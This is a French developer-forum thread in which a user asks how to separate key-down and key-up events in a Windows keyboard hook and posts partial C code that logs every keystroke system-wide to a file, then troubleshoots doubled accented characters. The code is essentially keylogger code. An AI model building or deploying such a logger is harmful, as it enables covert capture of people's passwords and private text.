Maegis
Messages postés101Date d'inscriptionvendredi 15 février 2002StatutMembreDernière intervention 6 août 2007
-
29 mai 2006 à 02:47
cs_lol55
Messages postés86Date d'inscriptiondimanche 8 janvier 2006StatutMembreDernière intervention 5 décembre 2010
-
12 juil. 2007 à 00:07
Bonjour,
Après moult recherches infructueuses je viens poser la question ici.
J'aimerai savoir si dans un hook WH_KEYBOARD on peut faire la distinction entre les WM_KEYDOWN et les WM_KEYUP.
Dans la doc c'est écrit que ça prend en compte les deux, mais pas moyen de pouvoir les distinguer.
En fait ça m'embête parce que du coup mon hook capte deux fois la même touche.
Alors jusqu'a maintenant je suis passé sur un hook WH_GETMESSAGE mais si je ne m'abuse il est quand même un peu plus lourd que le précédant.
Si quelqu'un a la solution ...
Maegis
Messages postés101Date d'inscriptionvendredi 15 février 2002StatutMembreDernière intervention 6 août 2007 29 mai 2006 à 15:44
Honte sur moi, j'avais pas vu ce passage :
31, Specifies the transition state. The value is 0 if the key is
being pressed and 1 if it is being released.
Par contre ça ne change pas un autre problème que j'ai remarqué, c'est au niveau des lettres telles que ï,ê et ces lettre que l'on doit faire en appuyant sur deux touches.
Dans mon hook je fais ça :
LRESULT CALLBACK Hook(int code,WPARAM wParam,LPARAM lParam)
{
DWORD dummy;
if(code == HC_ACTION)
{
if(lParam>0)
{
[...]
switch(wParam)
{
case VK_RETURN:
WriteFile(fichier,"\r\n",2,&dummy,NULL);
break;
case VK_DELETE:
WriteFile(fichier,"[DEL]",5,&dummy,NULL);
break;
case VK_BACK:
WriteFile(fichier,"[<==]",5,&dummy,NULL);
break;
case VK_TAB:
WriteFile(fichier,"[TAB]",5,&dummy,NULL);
break;
case VK_LEFT:
case VK_RIGHT:
case VK_UP:
case VK_DOWN:
case VK_CONTROL:
case VK_MENU:
case VK_SHIFT:
break;
default:
BYTE kbdStat[256];
GetKeyboardState(kbdStat);
WORD wBuf;
UINT ScanCode = lParam;
Et bien avec cela dans mon fichier quand je fais ï je tombe sur ¨¨i
De même si je n'appuye que sur la touche trema, ça m'écrit ¨¨ comme si j'avais appuyé deux fois
A la limite dans mon fichier je m'en fous si ça me fait comme ça, mais par contre le truc c'est que ça se répercute sur toutes les applications ! Si mon hook est lancé, impossible d'écrire un ï un ä ou encore un ê sous n'importe quelle application.
Exemple, sans le hook : ï
Avec le hook : ¨¨i
Alors que j'appuye sur les mêmes touches